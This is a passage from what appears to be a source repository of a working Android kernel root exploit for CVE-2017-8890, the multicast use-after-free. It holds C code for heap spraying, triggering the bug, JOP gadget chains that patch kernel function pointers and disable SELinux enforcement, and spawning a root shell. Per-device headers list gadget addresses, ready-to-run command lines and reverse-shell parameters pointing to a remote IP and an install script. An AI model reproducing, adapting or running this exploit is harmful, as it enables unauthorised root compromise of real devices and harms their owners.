src, count); 430 | if (len != count) { 431 | printf("[-] FAILED READ @ %p : %d, errno = %d, msg = %s\n", src, (int)len, errno, strerror(errno)); 432 | close(pipefd[0]); 433 | close(pipefd[1]); 434 | return -1; 435 | } 436 | read(pipefd[0], dest, count); 437 | close(pipefd[0]); 438 | close(pipefd[1]); 439 | return len; 440 | } 441 | 442 | static void *th_fix_mmap_area(void *arg) { 443 | bind_thread_on_cpu(bind_cpu_id); 444 | int value; 445 | unsigned long check_mem = (unsigned long) fake_iml_next_rcu + fake_iml_offset + rcu_head_offset; 446 | while(1) { 447 | if (read_at_address_pipe((void*)check_mem, (void*)&value, sizeof(value)) != sizeof(value)) { 448 | LOGV("[!] 0x%lx mmap area need fix to remap\n", check_mem); 449 | 450 | if (mmap((void*)fake_iml_next_rcu, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) < 0) 451 | LOGV("[-] 0x%lx re mmap false, errno = %d, msg = %s\n", check_mem, errno, strerror(errno)); 452 | 453 | usleep(300 * 1000); 454 | } 455 | } 456 | } 457 | 458 | int main(int argc, char *argv[]) { 459 | set_bind_cpu_id(); 460 | 461 | printf("\t[*] start, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 462 | 463 | #if FORKCHILD 464 | int i; 465 | for ( i = 0; i < children_num ; i++ ) { 466 | if ( (child_pids[i] = fork() ) == 0 ) { 467 | LOGV("I'm child : %d\n", i); 468 | while(time((time_t*)NULL)); 469 | } 470 | } 471 | #endif 472 | 473 | bind_process_on_cpu(bind_cpu_id); 474 | 475 | fprintf(stderr, "\t[1] padding data to fake obj.\n"); 476 | init_fake_iml_obj(); 477 | 478 | fprintf(stderr, "\t[2] prepare heap spray data.\n"); 479 | if (prepare() < 0 ) 480 | LOGV("[-] prepare failed.\n"); 481 | 482 | #ifdef FIX_MMAP_BUGS 483 | fprintf(stderr, "[?] fix mmap bugs???\n"); 484 | pthread_t th_fix_mmap; 485 | if(pthread_create(&th_fix_mmap, NULL, th_fix_mmap_area, NULL)) 486 | LOGV("[-] fix_mmap_th failed.\n"); 487 | #endif 488 | 489 | fprintf(stderr, "\t[3] trigger exploit.\n"); 490 | if (trigger() < 0 ) 491 | LOGV("[-] trigger failed.\n"); 492 | 493 | while(getuid()!= 0) { 494 | sleep(1); 495 | } 496 | 497 | printf("\t[4] get root.\n"); 498 | 499 | printf("\t[*] end, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 500 | 501 | system("/system/bin/id"); 502 | 503 | #if 1 504 | char *argvs[] = {"sh", NULL}; 505 | execve("/system/bin/sh", argvs, NULL); 506 | #else 507 | system("/system/bin/sh"); 508 | #endif 509 | 510 | printf("hang up...\n"); 511 | while(1); 512 | return 0; 513 | } 514 | -------------------------------------------------------------------------------- /exploit/CVE-2017-8890/1002/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-8890 exploit adp args 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #include "param.h" 9 | 10 | /* 11 | 12 | 通用内核函数地址定义在 param.h 头文件中 13 | 14 | 针对不同手机适配需要特殊定义的,在该头文件中定义 15 | 16 | */ 17 | 18 | char *adp_set_task_name = "xxoo"; 19 | 20 | #if 0 21 | 22 | 适配信息 23 | 24 | /* huawei p10 */ 25 | Linux version 4.1.18-gfd75bbb (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Mar 2 17:29:20 CST 2017 26 | 27 | "n=1002&k=[101=0xffffffc001de7ad0;102=0x40;104=0xffffffc00198efc0;105=0x78;201=0xffffffc0000f7f2c;]&j=[0x60000003e=0x600000326;0x600000376=0xffffffc000f54e14;0x600000136=0xffffffc0005b5844;0x60000013e=0xffffffc001de7b08;0x6000000d6=0x600000326;0x6000000de=0xffffffc000f490f0;0x600000346=0xffffffc00060d0d0;0x6000004de=0x600000226;0x60000028e=0xffffffc00010314c;0x0=0x0;0xc100020=0x0c100100;0x0c100100=0xffffffc000f2eff4;0xc100108=0x0c100200;0xc100228=0x0c100300;0xc100348=0xffffffc0007d5788;0xc1002b0=0xffffffc001980000;0xc100378=0x0c100400;0xc100428=0xffffffc0001e91a4;0x0=0x0;]&p=[0xffffffc001d99b14=0x0=0x4;]" 28 | if test reverse shell: 29 | 30 | &r=[901=192.168.0.106;902=4000;903=/data/local/tmp/install.sh; 31 | 32 | 33 | HWVTR:/ $ cat /proc/version 34 | Linux version 4.1.18-gf5b4220 (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Apr 12 03:17:23 CST 2017 35 | 36 | ./data/local/tmp/rootz "n=1003&k=[101=0xffffffc001dfbaf8;102=0x40;104=0xffffffc001996fc0;105=0x78;109=0x8;201=0xffffffc0000f8348;]&j=[0x60000003e=0x600000326;0x600000376=0xffffffc000f58fb0;0x600000136=0xffffffc0005b8210;0x60000013e=0xffffffc001dfbb30;0x6000000d6=0x600000326;0x6000000de=0xffffffc000f4d28c;0x600000346=0xffffffc00060e848;0x6000004de=0x600000226;0x60000028e=0xffffffc00010356c;0x0=0x0;0xc100020=0x0c100100;0x0c100100=0xffffffc000f331a4;0xc100108=0x0c100200;0xc100228=0x0c100300;0xc100348=0xffffffc0007d7fb0;0xc1002b0=0xffffffc001988000;0xc100378=0x0c100400;0xc100428=0xffffffc0001e97ac;0x0=0x0;]&p=[0xffffffc001dabb54=0x0=0x4;0xffffffc001dfbb38=0xffffffc00054b744=0x8;]&r=[901=192.168.199.213;902=8989;903=/data/local/tmp/install.sh;]" 37 | 38 | 39 | /* huawei NEM-TL00 */ ro.product.model=hi6250 40 | Linux localhost 3.10.90-g1e8f015 #1 SMP PREEMPT Fri Jan 20 03:30:14 CST 2017 aarch64 41 | Linux version 3.10.90-g1e8f015 (android@localhost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Jan 20 03:30:14 CST 2017 42 | 43 | ./rootz "n=1002&k=[101=0xffffffc001674b10;102=0x40;104=0xffffffc00135c860;105=0x70;201=0xffffffc00020a6dc;] 44 | &j=[0x600000046=0x600000066;0x600000066=0xffffffc000205528;0x60000006e=0x600000026;0x60000007e=0x600000426;0x600000076=0x600000226;0x60000003e=0x600000526;0x6000000b6=0x600000126;0x600000436=0xffffffc000348508;0x6000005b6=0x600000026;0x60000015e=0x600000126;0x60000005e=0xffffffc001674b30;0x6000002a6=0x600000226;0x60000023e=0xffffffc000121328;0x600000256=0xffffffc000105ec8;0x0=0x0;0x0c1000b8=0xffffffc000ab07c4;0x0c1000c0=0x0c100000;0x0c100028=0x0c100300;0x0c100348=0xffffffc0001abec4;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;]" 45 | 46 | if test reverse shell: 47 | 48 | &r=[901=192.168.0.135;902=4000;903=/data/local/tmp/install.sh;] 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /exploit/CVE-2017-8890/1003/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-8890 exploit adp args 3 | * used for arm64 like Nexus6P, HuaWeiP10, ... 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * https://source.android.com/security/bulletin/2017-09-01 6 | * 7 | */ 8 | 9 | #include "param.h" 10 | 11 | /* 12 | 13 | 通用内核函数地址定义在 param.h 头文件中 14 | 15 | 针对不同手机适配需要特殊定义的,在该头文件中定义 16 | 17 | */ 18 | 19 | 20 | // #define TEST_FOR_TEST 21 | 22 | #ifdef TEST_FOR_TEST 23 | 24 | // selinux 25 | 26 | /* 27 | 28 | 200=0xffffffc0000f8348; 29 | 30 | x19 31 | 201=0xffffffc0000f8348 32 | 0xffffffc0000f833c irq_do_set_affinity 0x60 33 | ... 34 | 0xffffffc0000f8348: mov x19, x0 x19 = x0 = jop_buf 35 | 0xffffffc0000f834c: mov x20, x1 x20 = x1 = jop_buf 36 | 0xffffffc0000f8350: ldr x3, [x0, #0x18] [jop_buf + 0x18] = jop_buf 37 | 0xffffffc0000f8354: ldr x3, [x3, #0x50] [jop_buf + 0x50] = 0xffffffc0005b8210 38 | 0xffffffc0000f8358: blr x3 39 | 40 | x0 = 0xffffffc040404040 41 | 0xffffffc0005b8208 _regmap_bus_reg_write 0x20 42 | ... 43 | 0xffffffc0005b8210: ldr x3, [x0, #0xb0] [jop_buf + 0xb0] = jop_buf 44 | 0xffffffc0005b8214: ldr x0, [x0, #0xb8] [jop_buf + 0xb8] = 0xffffffco40404040 45 | 0xffffffc0005b8218: ldr x3, [x3, #0x20] [jop_buf + 0x20] = 0xffffffc000f58fb0 46 | 0xffffffc0005b821c: blr x3 47 | 48 | x1 = ptmx_fops.check_flags 49 | 0xffffffc000f58f84 ethtool_get_rxfh_indir 0x1c0 50 | ... 51 | 0xffffffc000f58fb0: ldr x2, [x1, #0x110] [jop_buf + 0x110] = 0xffffffc00060e848 52 | 0xffffffc000f58fb4: cbz x2, #0xffffffc000f59138 53 | 0xffffffc000f58fb8: ldr x1, [x1, #0x118] [jop_buf + 0x118] = ptmx_fops.check_flags - 8 54 | 0xffffffc000f58fbc: cbz x1, #0xffffffc000f59138 55 | 0xffffffc000f58fc0: blr x2 56 | 57 | patch 58 | 0xffffffc00060e828 part_erase 0x6c 59 | ... 60 | 0xffffffc00060e848: str x0, [x1, #8] patch 61 | 0xffffffc00060e84c: ldr x2, [x20, #0x4b8] [jop_buf + 0x4b8] = jop_buf 62 | 0xffffffc00060e850: mov x0, x2 63 | 0xffffffc00060e854: ldr x2, [x2, #0x68] [jop_buf + 0x68] = ret 64 | 0xffffffc00060e858: blr x2 65 | 66 | adb shell "/data/local/tmp/rootz 'n=1003&k=[200=0xffffffc0000f8348;101=0xffffffc001dfbaf8;103=0xa8;104=0xffffffc001996fc0;105=0x78;109=0x8;]&j=[0x18=0xaaaaaaaa;0x50=0xffffffc0005b8210;0xb0=0xaaaaaaaa;0xb8=0xffffffc000f331a4;0x20=0xffffffc000f58fb0;0x110=0xffffffc00060e848;0x118=0xbbbbbbbb;0x4b8=0xaaaaaaaa;0x68=0xFFFFFFC00010356C;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001e84e4;0x0=0x0;]&p=[0xffffffc001dabb54=0x0=0x4;]'" 67 | 68 | */ 69 | 70 | 71 | 72 | // to patch ptmx_ioctl 73 | struct jop_gadget jop1[0x10] = { 74 | {0x18, 0xaaaaaaaa,}, //jop_buf 75 | {0x50, 0xffffffc0005b8210,}, 76 | {0xb0, 0xaaaaaaaa,}, // jop_buf 77 | {0xb8, 0xffffffc000f331a4,}, // kernel_sock_ioctl 78 | {0x20, 0xffffffc000f58fb0}, 79 | {0x110, 0xffffffc00060e848}, 80 | {0x118, 0xbbbbbbbb}, // ptmx_fops.check_flags - 8 81 | {0x4b8, 0xaaaaaaaa}, 82 | {0x68, 0xFFFFFFC00010356C}, // rcu_process_callbacks 83 | {0, 0,}, 84 | }; 85 | 86 | // set_fs to patch thread_info->addr_limit 87 | struct jop_gadget jop2[0x10] = { 88 | {0x28, 0xaaaaaaaa,}, 89 | {0x48, 0xffffffc0001e84e4,}, // check_flags(), back 90 | {0, 0,}, 91 | }; 92 | 93 | unsigned long adp_tty_ioctl = (unsigned long)0x51890c; 94 | 95 | // to patch memory 96 | struct patch_gadget patch_mem[0x10] = { 97 | {adp_selinux_enforcing, 0x00, sizeof(int)}, // selinux_enforcing 98 | {(unsigned long)0xffffffc001dfbaf8 + 0xa8, 0, sizeof(long)}, 99 | {0, 0,}, 100 | }; 101 | 102 | 103 | #endif 104 | 105 | 106 | #if 0 107 | 108 | 适配信息 109 | 110 | 华为p10 ro.product.model=generic_a15 111 | 112 | // VTR-AL00C00B137 113 | Linux version 4.1.18-gf5b4220 (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Apr 12 03:17:23 CST 2017 114 | 115 | n=1003&k=[200=0xffffffc0000f8348;101=0xffffffc001dfbaf8;103=0xa8;104=0xffffffc001996fc0;105=0x78;109=0x4;]&j=[0x18=0xaaaaaaaa;0x50=0xffffffc0005b8210;0xb0=0xaaaaaaaa;0xb8=0xffffffc000f331a4;0x20=0xffffffc000f58fb0;0x110=0xffffffc00060e848;0x118=0xbbbbbbbb;0x4b8=0xaaaaaaaa;0x68=0xFFFFFFC00010356C;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001e84e4;0x0=0x0;]&p=[0xffffffc001dabb54=0x0=0x4;0xffffffc001dfbba0=0x0=0x8;] 116 | 117 | // Victoria-AL00A_C00B109SP01 118 | Linux version 4.1.18-gfd75bbb (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Mar 2 17:29:20 CST 2017 119 | n=1003&k=[200=0xFFFFFFC0000F7F2C;101=0xffffffc001de7ad0;103=0xa8;104=0xffffffc00198efc0;105=0x78;109=0x4;]&j=[0x18=0xaaaaaaaa;0xb0=0xaaaaaaaa;0x4b8=0xaaaaaaaa;0x118=0xbbbbbbbb;0x50=0xFFFFFFC0005B5844;0xb8=0xFFFFFFC000F2EFF4;0x20=0xFFFFFFC000F54E14;0x110=0xFFFFFFC00060D0D0;0x68=0xFFFFFFC00010314C;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xFFFFFFC0001E7EDC;0x0=0x0;]&p=[0xffffffc001d99b14=0x0=0x4;0xffffffc001de7b78=0x0=0x8;] 120 | 121 | 荣耀5C 移动 ro.product.model=hi6250 122 | // NEM-TL00C01B191 123 | Linux version 3.10.90-g1e8f015 (android@localhost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Jan 20 03:30:14 CST 2017 124 | 125 | n=1003&k=[200=0xffffffc00020a6dc;101=0xffffffc001674b10;103=0xa0;104=0xffffffc00135c860;105=0x70;109=0x4;801=0xffffffc00166aa10;802=0xffffffc00166aa28;]&j=[0x20=0xcccccccc;0x100=0xffffffc000205528;0x108=0xdddddddd;0x118=0xdddddddd;0x110=0xeeeeeeee;0x218=0xdddddddd;0x290=0xdddddddd;0x210=0xffffffc000348510;0x238=0xffffffff;0x310=0xffffffc000121308;0x328=0xffffffc000ab07c4;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001aacd8;0x0=0x0;]&p=[0xffffffc0016672c4=0x0=0x4;0xffffffc001674bb0=0x0=0x8;] 126 | 127 | nexus6p 128 | Linux version 3.10.73-g5b0be8f02fe (android-build@wphs1.hot.corp.google.com) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Jun 8 18:03:16 UTC 2017 129 | n=1003&k=[101=0xffffffc001a044a0;103=0xa8;104=0xffffffc001779fe0;105=0x70;109=0x4;200=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xaaaabbbb;0x2d0=0xffffffc000afe07c;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0003176c4;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;0xffffffc001a04548=0x0=0x8;] 130 | 131 | ------------------------------------------------------------------------------------------------------------------------ 132 | // FRD-AL00C00B368 133 | 134 | Linux version 4.1.18-gf6402d0 (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jan 10 12:54:47 CST 2017 135 | 136 | ptmx_fops.check_flags - 8 = 0xbbbbbbbb; 137 | rcu_process_callbacks = 0xffffffc0000fb1ec; 138 | kernel_sock_ioctl = 0xffffffc000cfcc74; 139 | 140 | 141 | ROM:FFFFFFC0000F0D7C irq_do_set_affinity 142 | ROM:FFFFFFC0000F0D88 MOV X19, X0 143 | ROM:FFFFFFC0000F0D8C MOV X20, X1 144 | ROM:FFFFFFC0000F0D90 LDR X3, [X0,#0x18] [jop_buf + 0x18] = jop_buf + 0x100 145 | ROM:FFFFFFC0000F0D94 LDR X3, [X3,#0x50] [jop_buf + 0x100 + 0x50] = 0xFFFFFFC000E1B148 146 | ROM:FFFFFFC0000F0D98 BLR X3 147 | 148 | ROM:FFFFFFC000E1B0DC fib6_clean_node 149 | ROM:FFFFFFC000E1B148 LDR X2, [X20,#0x50] [jop_buf + 0x50] = 0xFFFFFFC00052F814 150 | ROM:FFFFFFC000E1B14C LDR X1, [X20,#0x60] [jop_buf + 0x60] = check_flags - 8 151 | ROM:FFFFFFC000E1B150 MOV X0, X19 152 | ROM:FFFFFFC000E1B154 BLR X2 153 | 154 | 155 | ROM:FFFFFFC00052F80C _regmap_bus_reg_write ; DATA XREF: regmap_init+304o 156 | ROM:FFFFFFC00052F814 LDR X3, [X0,#0xB0] [jop_buf + 0xb0] = jop_buf + 0x100 157 | ROM:FFFFFFC00052F818 LDR X0, [X0,#0xB8] [jop_buf + 0xb8] = 0xffffffc000cfcc74 158 | ROM:FFFFFFC00052F81C LDR X3, [X3,#0x20] [jop_buf + 0x100 + 0x20] = 0xFFFFFFC000562DC4 159 | ROM:FFFFFFC00052F820 BLR X3 160 | 161 | 0xFFFFFFC000562DC4 162 | ROM:FFFFFFC000562DC4 STR X0, [X1,#8] patch 163 | ROM:FFFFFFC000562DC8 LDR X2, [X20,#0x4B0] [jop_buf + 0x4b0] = jop_buf 164 | ROM:FFFFFFC000562DCC MOV X0, X2 165 | ROM:FFFFFFC000562DD0 LDR X2, [X2,#0x68] [jop_buf + 0x68] = 0xffffffc0000fb1ec 166 | ROM:FFFFFFC000562DD4 BLR X2 167 | 168 | ./data/local/tmp/rootz "n=1003&k=[200=0xffffffc0000f0d88;101=0xffffffc001b8da48;103=0xa8;104=0xffffffc001692e00;105=0x70;109=0x8;]&j=[0x18=0xcccccccc;0x150=0xFFFFFFC000E1B148;0x50=0xFFFFFFC00052F814;0x60=0xbbbbbbbb;0xb0=0xcccccccc;0xb8=0xffffffc000cfcc74;0x120=0xFFFFFFC000562DC4;0x4b0=0xaaaaaaaa;0x68=0xffffffc0000fb1ec;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001ce6e4;0x0=0x0;]&p=[0xffffffc001b5df5c=0x0=0x4;]" 169 | 170 | ------------------------------------------------------------------------------------------------------------------------ 171 | 172 | 173 | 174 | 175 | #endif -------------------------------------------------------------------------------- /exploit/CVE-2017-8890/1004/rootz.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-8890 exploit adp args 3 | * used for arm32 no pxn 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | /* ------------------ root define begin ------------------- */ 24 | #include "param.h" 25 | #include "rootz.h" 26 | #include "log.h" 27 | #include "silly.h" 28 | #include "fn.h" 29 | #include "shell.h" 30 | #include "roothelper.h" 31 | #include "dict.h" 32 | 33 | /* adp args */ 34 | static int adp_sn; 35 | static unsigned long adp_init_task; 36 | static unsigned long adp_task_security_offset = 0x58; 37 | static unsigned long adp_task_cred_uid_offset = 0x4; 38 | 39 | static unsigned long adp_ptmx_fops; 40 | static unsigned long adp_ptmx_kfunc_offset = 0xa8; 41 | 42 | /* 43 | 初始化适配参数 44 | */ 45 | 46 | extern dict_t *transl_param_dict; 47 | 48 | static int rootz_before(int argc, char *argv[]) { 49 | // 设置日志路径, 不设置打印到控制台 50 | // set_logfile_path("/data/local/tmp/104.log"); 51 | 52 | // 适配参数初始化 53 | if (parse_args(argc, argv) < 0) { 54 | log_dump(LOG_ERR, "[-] parse_args failed\n"); 55 | return -1; 56 | } 57 | 58 | if(!transl_param_dict) return -1; 59 | 60 | char *var; 61 | 62 | /* root before */ 63 | if (!dict_get(transl_param_dict, n_sn, (void **)&var)) { 64 | log_dump(LOG_ERR, "[-] get n_sn failed\n"); 65 | return -1; 66 | } 67 | adp_sn = atoi(var); 68 | log_dump(LOG_DEBUG, "adp_sn = %d\n", adp_sn); 69 | 70 | if(!dict_get_ulval(transl_param_dict, k_init_task, &adp_init_task)) return -1; 71 | if(!dict_get_ulval(transl_param_dict, k_task_security_offset, &adp_task_security_offset)) return -1; 72 | if(!dict_get_ulval(transl_param_dict, k_task_cred_uid_offset, &adp_task_cred_uid_offset)) return -1; 73 | if(!dict_get_ulval(transl_param_dict, k_ptmx_fops, &adp_ptmx_fops)) return -1; 74 | if(!dict_get_ulval(transl_param_dict, k_ptmx_kfunc_offset, &adp_ptmx_kfunc_offset)) return -1; 75 | 76 | #if 1 77 | printf(" adp_init_task = 0x%lx\n", adp_init_task); 78 | printf(" adp_task_security_offset = 0x%lx\n", adp_task_security_offset); 79 | printf(" adp_task_cred_uid_offset = 0x%lx\n", adp_task_cred_uid_offset); 80 | printf(" adp_ptmx_fops = 0x%lx\n", adp_ptmx_fops); 81 | printf(" adp_ptmx_kfunc_offset = 0x%lx\n", adp_ptmx_kfunc_offset); 82 | #endif 83 | 84 | 85 | return 0; 86 | } 87 | 88 | /* 89 | 提权过后的操作 90 | */ 91 | 92 | static int rootz_after() { 93 | if(transl_param_dict) { 94 | vendor_protect_bypass(transl_param_dict); 95 | silly_everything_after_root(transl_param_dict); 96 | } 97 | 98 | if(transl_param_dict) { 99 | dict_destory(transl_param_dict); 100 | free(transl_param_dict); 101 | } 102 | 103 | return 0; 104 | } 105 | 106 | static void* patch_kfunc_without_pxn() { 107 | *(unsigned long *)(adp_ptmx_fops + adp_ptmx_kfunc_offset) = (unsigned long)&obtain_arbitrary_rwcap_by_ret2usr; 108 | return NULL; 109 | } 110 | 111 | /* ------------------ root define end ------------------- */ 112 | 113 | #ifndef ONE_IGMP_H 114 | #define ONE_IGMP_H 115 | 116 | #define __rcu 117 | 118 | struct callback_head { 119 | struct callback_head *next; 120 | void (*func)(struct callback_head *head); 121 | }; 122 | #define rcu_head callback_head 123 | 124 | struct ip_sf_socklist { 125 | unsigned int sl_max; 126 | unsigned int sl_count; 127 | struct rcu_head rcu; 128 | __be32 sl_addr[0]; 129 | }; 130 | 131 | struct ip_mc_socklist { 132 | struct ip_mc_socklist __rcu *next_rcu; 133 | struct ip_mreqn multi; 134 | unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ 135 | struct ip_sf_socklist __rcu *sflist; 136 | struct rcu_head rcu; 137 | }; 138 | #endif // ONE_IGMP_H 139 | 140 | #define rcu_head_offset sizeof(struct ip_mc_socklist) - sizeof(struct rcu_head) 141 | 142 | /* 143 | for debug macros 144 | */ 145 | // #define __TEST_ARGS 146 | #define __BIND_CPU 147 | #define __HEAP_SPRAY 148 | // #define __HEAP_SPRAY_PAD 149 | #define __CLEAN_LOGS 150 | #define __TRIGGER_VUL 151 | #define __FIX_MMAP_BUGS 152 | #define __CHECK_MONITOR 153 | 154 | // used for trigger vul 155 | static int PORT = 10086; 156 | static int server_init = 0; 157 | static int server_finish = 0; 158 | static int client_finish = 0; 159 | static int conntfd[2] = { 0 }; 160 | static int connect_times = 2; 161 | 162 | // used for heap spray 163 | static struct group_req g_spray_gr = { 0 }; 164 | static struct sockaddr_in6 g_spray_si6 = { 0 }; 165 | 166 | static int g_spray_times = 0x900; 167 | static int g_spray_pad_times = 0x100; 168 | static int g_spray_sockfd[0x1000]; 169 | 170 | // used for bind cpu 171 | extern volatile int bind_cpu_id; 172 | 173 | // used for mmap addr 174 | static unsigned long g_jop_set_buf = 0x0c000000; 175 | static unsigned long g_fake_iml_offset = 0xff; 176 | static int g_mmap_size = 0x1000; 177 | 178 | // check monitor 179 | static volatile int g_monitor_th_stop; 180 | 181 | static unsigned long g_cur_th_sp = 0; 182 | 183 | #ifdef __HEAP_SPRAY 184 | 185 | static int slab_heap_spray_init() { 186 | int i; 187 | 188 | memset(&g_spray_gr, 0, sizeof(g_spray_gr)); 189 | memset(&g_spray_si6, 0, sizeof(g_spray_si6)); 190 | 191 | log_dump(LOG_DEBUG, "[!] group_req = %d, sockaddr_in6 = %d\n", sizeof(g_spray_gr), sizeof(g_spray_si6)); 192 | 193 | g_spray_gr.gr_interface = 0; 194 | g_spray_si6.sin6_family = AF_INET6; 195 | 196 | for (i = 0; i < g_spray_times; ++i) { 197 | errno = 0; 198 | g_spray_sockfd[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP); 199 | if(g_spray_sockfd[i] < 0) { 200 | log_dump(LOG_ERR, "[-] (%d) socket() failed, errno = %d, msg = %s\n", i, errno, strerror(errno)); 201 | return -1; 202 | } 203 | } 204 | 205 | return 0; 206 | } 207 | 208 | static int slab_heap_spray(int fd, int id) { 209 | // log_dump(LOG_DEBUG, "[!] slab_heap_spray %d\n", id); 210 | 211 | int8_t addr[16] = { 0 }; 212 | *((int*)&addr) = (int)(g_jop_set_buf + g_fake_iml_offset); 213 | 214 | *(int*)&addr[8] = id; 215 | memcpy(&g_spray_si6.sin6_addr, &addr, sizeof(addr)); 216 | memcpy(&g_spray_gr.gr_group, &g_spray_si6, sizeof(g_spray_si6)); 217 | 218 | return setsockopt(fd, SOL_IPV6, MCAST_JOIN_GROUP, &g_spray_gr, sizeof(g_spray_gr)); 219 | 220 | } 221 | 222 | #else 223 | 224 | static int slab_heap_spray_init() { 225 | return 0; 226 | } 227 | 228 | static int slab_heap_spray(int fd, int id) { 229 | return 0; 230 | } 231 | 232 | #endif 233 | 234 | 235 | #ifdef __CHECK_MONITOR 236 | 237 | static void *check_fake_monitor(void *arg) { 238 | #ifdef __BIND_CPU 239 | int cpu_id = (*(int*)arg) % CPU_CUR_NUMS; 240 | bind_thread_on_cpu(cpu_id); 241 | #endif 242 | unsigned long value; 243 | struct rcu_head* head = (void*)(g_jop_set_buf + g_fake_iml_offset + rcu_head_offset); 244 | 245 | while(g_monitor_th_stop) { 246 | usleep(30 * 1000); 247 | } 248 | 249 | while(!g_monitor_th_stop) { 250 | #ifdef __FIX_MMAP_BUGS 251 | if (pipe_read_memory((void*)head, (void*)&value, sizeof(value)) != sizeof(value)) { 252 | log_dump(LOG_DEBUG, "[!] 0x%lx mmap area need fix to remap\n", head); 253 | 254 | if (mmap((void*)g_jop_set_buf, g_mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0) < 0) 255 | log_dump(LOG_ERR, "[-] 0x%lx re mmap false, errno = %d, msg = %s\n", head, errno, strerror(errno)); 256 | 257 | // usleep(300 * 1000); 258 | } 259 | #endif 260 | 261 | if ((unsigned long)head->next > KERNEL_START) { 262 | head->func = (void*)&patch_kfunc_without_pxn; 263 | log_dump(LOG_DEBUG, "[+] cpu-%d fake iml success!, head->next = %p(%p), head->func = %p(%p)\n", 264 | cpu_id, &head->next, head->next, &head->func, head->func); 265 | break; 266 | } 267 | } 268 | 269 | log_dump(LOG_DEBUG, "[!] thread on cup(%d) exit!\n", cpu_id); 270 | return NULL; 271 | } 272 | 273 | #endif 274 | 275 | 276 | static void *th_client_connect(void *arg) { 277 | #ifdef __BIND_CPU 278 | bind_thread_on_cpu(bind_cpu_id); 279 | #endif 280 | 281 | int sockfd, i; 282 | struct sockaddr_in si = { 283 | .sin_family = AF_INET, 284 | .sin_port = htons(PORT), 285 | .sin_addr = inet_addr("127.0.0.1"), 286 | }; 287 | 288 | while(!server_init) 289 | usleep(1); 290 | 291 | log_dump(LOG_DEBUG, "accept times %d\n", connect_times); 292 | 293 | for ( i = 0 ; i < connect_times ; i++ ) { 294 | sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP); 295 | 296 | if (connect(sockfd, (struct sockaddr*)&si, sizeof(si)) != 0 ) { 297 | log_dump(LOG_ERR, "[-] client-%d connected failed.\n", i); 298 | } 299 | close(sockfd); 300 | } 301 | client_finish = 1; 302 | while(1) {} 303 | pthread_exit(0); 304 | } 305 | 306 | static int trigger() { 307 | int i, j, ret; 308 | 309 | int server_sockfd; 310 | 311 | server_sockfd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC , IPPROTO_IP); 312 | 313 | struct sockaddr_in gr_si = { 314 | .sin_family = AF_INET, 315 | .sin_port = htons(PORT), 316 | .sin_addr = inet_addr("224.0.0.0"), // multicast address 317 | }; 318 | 319 | struct group_req group; 320 | group.gr_interface = 1; 321 | memcpy(&group.gr_group, &gr_si, sizeof(gr_si)); 322 | 323 | errno = 0; 324 | if (setsockopt(server_sockfd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group)) < 0) { 325 | log_dump(LOG_ERR, "[-] setsockopt(MCAST_JOIN_GROUP) failed!, errno = %d, msg = %s\n", errno, strerror(errno)); 326 | return -1; 327 | } 328 | 329 | #ifdef __TRIGGER_VUL 330 | struct sockaddr_in serv_addr = {}; 331 | serv_addr.sin_family = AF_INET; 332 | serv_addr.sin_port = htons(PORT); 333 | serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 334 | 335 | bind(server_sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 336 | 337 | listen(server_sockfd, 2); 338 | 339 | pthread_t th_client; 340 | // Create a client thread to connect. 341 | if ( pthread_create(&th_client, NULL, th_client_connect, NULL)) 342 | log_dump(LOG_DEBUG,"[-] th_client_connect failed.\n"); 343 | 344 | server_init = 1; 345 | for ( i = 0 ; i < connect_times ; i++ ) { 346 | conntfd[i] = accept4(server_sockfd, NULL, NULL, 0); 347 | 348 | if(conntfd[i] >= 0 ) { 349 | log_dump(LOG_DEBUG,"[+] accept() succeed.\n"); 350 | } else { 351 | log_dump(LOG_DEBUG,"[-] accept() failed.\n"); 352 | return -1; 353 | } 354 | } 